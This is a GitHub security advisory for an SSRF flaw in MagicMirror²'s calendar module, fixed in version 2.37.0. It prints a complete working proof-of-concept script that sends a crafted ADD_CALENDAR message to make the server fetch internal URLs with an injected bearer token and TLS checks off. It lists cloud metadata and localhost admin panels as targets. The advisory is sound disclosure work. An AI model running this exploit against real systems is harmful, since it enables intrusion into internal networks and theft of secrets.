GHSA-W6X9-28JW-HQ7J

Vulnerability from github – Published: 2026-08-18 17:26 – Updated: 2026-08-18 17:26
VLAI
Summary
MagicMirror: ssrf calendar .js
Details

Vulnerability — SSRF via ADD_CALENDAR (MagicMirror² calendar)

Analysis of the PoC exploit-ssrf-calendar.js. Target: calendar/node_helper.js of MagicMirror², socket.io namespace /calendar.


Identification

Field Value
PoC file exploit-ssrf-calendar.js
Endpoint socket.io namespace /calendar, notification ADD_CALENDAR
Precondition reach the mirror's HTTP port (no authentication required)

Description

The ADD_CALENDAR handler in calendar/node_helper.js performs a server-side HTTP request to a URL that is fully attacker-controlled, with no SSRF protection whatsoever — unlike the project's hardened /cors endpoint.

Worse, the attacker also controls: - the authentication headers the server attaches to the request (auth: { method: "bearer", pass: "..." }); - the selfSignedCert flag, which disables TLS verification of the server-side request.

When the target's response is valid iCal, the server parses the events and sends them back to the attacker via CALENDAR_EVENTS — turning the SSRF into full data exfiltration (response body read). Against non-iCal responses it remains a blind SSRF (the attacker still forces the server-side request, they just don't see the body).


Root cause: unauthenticated socket.io channel + permissive CORS

The socket.io server accepts connections from any origin and with no authentication:

const io = new Server(server, {
  cors: { origin: /.*$/, credentials: true }
});

The /calendar namespace registers the handler without checking who is connected (CWE-306). Any process or browser tab that can reach the mirror's port can emit the notification.


Exploit (exploit-ssrf-calendar.js)

const { io } = require("socket.io-client");

const TARGET = process.env.MM || "http://TARGET:8888";
const INTERNAL_URL = process.argv[2] || process.env.SSRF_URL || "https://webhook.site/";

const socket = io(`${TARGET}/calendar`, { path: "/socket.io", transports: ["websocket", "polling"] });

socket.onAny((event, payload) => {
    if (event === "CALENDAR_EVENTS") {
        console.log("\n[+] CALENDAR_EVENTS received from server (SSRF response exfiltrated):");
        for (const ev of payload.events || []) {
            console.log("    SUMMARY:", ev.title);
            if (ev.title && ev.title.includes("FLAG{")) {
                console.log("\n[!!!] SSRF SUCCESS - leaked secret from internal-only service:");
                console.log("      " + ev.title);
                process.exit(0);
            }
        }
    } else if (event === "CALENDAR_ERROR") {
        console.log("[-] CALENDAR_ERROR:", JSON.stringify(payload));
    }
});

socket.on("connect", () => {
    console.log(`[*] Connected to ${TARGET}/calendar (no auth required). socket id=${socket.id}`);
    console.log(`[*] Forcing server-side fetch of internal target: ${INTERNAL_URL}`);
    socket.emit("ADD_CALENDAR", {
        url: INTERNAL_URL,
        fetchInterval: 60000,
        excludedEvents: [],
        maximumEntries: 10,
        maximumNumberOfDays: 3650,
        auth: { method: "bearer", pass: "internal-admin-token" },
        broadcastPastEvents: true,
        selfSignedCert: true,
        id: "pwn"
    });
});

socket.on("connect_error", (e) => console.log("[-] connect_error:", e.message));

setTimeout(() => { console.log("\n[*] timeout, exiting"); process.exit(1); }, 20000);

Vulnerable target code (pattern)

socketNotificationReceived(notification, payload) {
  if (notification === "ADD_CALENDAR") {
    const fetcher = new CalendarFetcher(
      payload.url,
      payload.fetchInterval,
      payload.excludedEvents,
      payload.maximumEntries,
      payload.maximumNumberOfDays,
      payload.auth,
      payload.broadcastPastEvents,
      payload.selfSignedCert
    );
    fetcher.fetchCalendar();
  }
}

Impact

  • Reading internal services unreachable from the attacker's network (cloud metadata 169.254.169.254, admin panels on 127.0.0.1, services on the private network).
  • Body exfiltration when the response is iCal (the PoC searches for FLAG{...} in event titles).
  • Confused deputy / credential injection: the server attaches an attacker-controlled Authorization: Bearer ... header, allowing it to forge/replay credentials against the internal target.
  • TLS bypass via selfSignedCert: true.
  • Internal port scanning through error/timing differences.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "magicmirror"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.37.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-63643"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-18T17:26:51Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "# Vulnerability \u2014 SSRF via `ADD_CALENDAR` (MagicMirror\u00b2 calendar)\n\n\u003e Analysis of the PoC `exploit-ssrf-calendar.js`.\n\u003e Target: `calendar/node_helper.js` of MagicMirror\u00b2, socket.io namespace `/calendar`.\n\n---\n\n## Identification\n\n| Field | Value |\n|-------|-------|\n| **PoC file** | `exploit-ssrf-calendar.js` |\n| **Endpoint** | socket.io namespace `/calendar`, notification `ADD_CALENDAR` |\n| **Precondition** | reach the mirror\u0027s HTTP port (no authentication required) |\n\n---\n\n## Description\n\nThe `ADD_CALENDAR` handler in `calendar/node_helper.js` performs a **server-side** HTTP request to a URL that is **fully attacker-controlled**, with no SSRF protection whatsoever \u2014 unlike the project\u0027s hardened `/cors` endpoint.\n\nWorse, the attacker also controls:\n- the **authentication headers** the server attaches to the request (`auth: { method: \"bearer\", pass: \"...\" }`);\n- the `selfSignedCert` flag, which **disables TLS verification** of the server-side request.\n\nWhen the target\u0027s response is **valid iCal**, the server parses the events and sends them back to the attacker via `CALENDAR_EVENTS` \u2014 turning the SSRF into **full data exfiltration** (response body read). Against non-iCal responses it remains a blind SSRF (the attacker still forces the server-side request, they just don\u0027t see the body).\n\n---\n\n## Root cause: unauthenticated socket.io channel + permissive CORS\n\nThe socket.io server accepts connections from **any origin** and with **no authentication**:\n\n```js\nconst io = new Server(server, {\n  cors: { origin: /.*$/, credentials: true }\n});\n```\n\nThe `/calendar` namespace registers the handler without checking who is connected (**CWE-306**). Any process or browser tab that can reach the mirror\u0027s port can emit the notification.\n\n---\n\n## Exploit (`exploit-ssrf-calendar.js`)\n\n```js\nconst { io } = require(\"socket.io-client\");\n\nconst TARGET = process.env.MM || \"http://TARGET:8888\";\nconst INTERNAL_URL = process.argv[2] || process.env.SSRF_URL || \"https://webhook.site/\";\n\nconst socket = io(`${TARGET}/calendar`, { path: \"/socket.io\", transports: [\"websocket\", \"polling\"] });\n\nsocket.onAny((event, payload) =\u003e {\n\tif (event === \"CALENDAR_EVENTS\") {\n\t\tconsole.log(\"\\n[+] CALENDAR_EVENTS received from server (SSRF response exfiltrated):\");\n\t\tfor (const ev of payload.events || []) {\n\t\t\tconsole.log(\"    SUMMARY:\", ev.title);\n\t\t\tif (ev.title \u0026\u0026 ev.title.includes(\"FLAG{\")) {\n\t\t\t\tconsole.log(\"\\n[!!!] SSRF SUCCESS - leaked secret from internal-only service:\");\n\t\t\t\tconsole.log(\"      \" + ev.title);\n\t\t\t\tprocess.exit(0);\n\t\t\t}\n\t\t}\n\t} else if (event === \"CALENDAR_ERROR\") {\n\t\tconsole.log(\"[-] CALENDAR_ERROR:\", JSON.stringify(payload));\n\t}\n});\n\nsocket.on(\"connect\", () =\u003e {\n\tconsole.log(`[*] Connected to ${TARGET}/calendar (no auth required). socket id=${socket.id}`);\n\tconsole.log(`[*] Forcing server-side fetch of internal target: ${INTERNAL_URL}`);\n\tsocket.emit(\"ADD_CALENDAR\", {\n\t\turl: INTERNAL_URL,\n\t\tfetchInterval: 60000,\n\t\texcludedEvents: [],\n\t\tmaximumEntries: 10,\n\t\tmaximumNumberOfDays: 3650,\n\t\tauth: { method: \"bearer\", pass: \"internal-admin-token\" },\n\t\tbroadcastPastEvents: true,\n\t\tselfSignedCert: true,\n\t\tid: \"pwn\"\n\t});\n});\n\nsocket.on(\"connect_error\", (e) =\u003e console.log(\"[-] connect_error:\", e.message));\n\nsetTimeout(() =\u003e { console.log(\"\\n[*] timeout, exiting\"); process.exit(1); }, 20000);\n```\n\n---\n\n## Vulnerable target code (pattern)\n\n```js\nsocketNotificationReceived(notification, payload) {\n  if (notification === \"ADD_CALENDAR\") {\n    const fetcher = new CalendarFetcher(\n      payload.url,\n      payload.fetchInterval,\n      payload.excludedEvents,\n      payload.maximumEntries,\n      payload.maximumNumberOfDays,\n      payload.auth,\n      payload.broadcastPastEvents,\n      payload.selfSignedCert\n    );\n    fetcher.fetchCalendar();\n  }\n}\n```\n\n---\n\n## Impact\n\n- **Reading internal services** unreachable from the attacker\u0027s network (cloud metadata `169.254.169.254`, admin panels on `127.0.0.1`, services on the private network).\n- **Body exfiltration** when the response is iCal (the PoC searches for `FLAG{...}` in event titles).\n- **Confused deputy / credential injection**: the server attaches an attacker-controlled `Authorization: Bearer ...` header, allowing it to forge/replay credentials against the internal target.\n- **TLS bypass** via `selfSignedCert: true`.\n- Internal port scanning through error/timing differences.\n\n---",
  "id": "GHSA-w6x9-28jw-hq7j",
  "modified": "2026-08-18T17:26:51Z",
  "published": "2026-08-18T17:26:51Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MagicMirrorOrg/MagicMirror/security/advisories/GHSA-w6x9-28jw-hq7j"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MagicMirrorOrg/MagicMirror/pull/4169"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MagicMirrorOrg/MagicMirror/commit/58c2a5e675a7d367b64d72e1d35680d202ff5c9f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MagicMirrorOrg/MagicMirror"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MagicMirrorOrg/MagicMirror/releases/tag/v2.37.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "MagicMirror: ssrf calendar .js"
}



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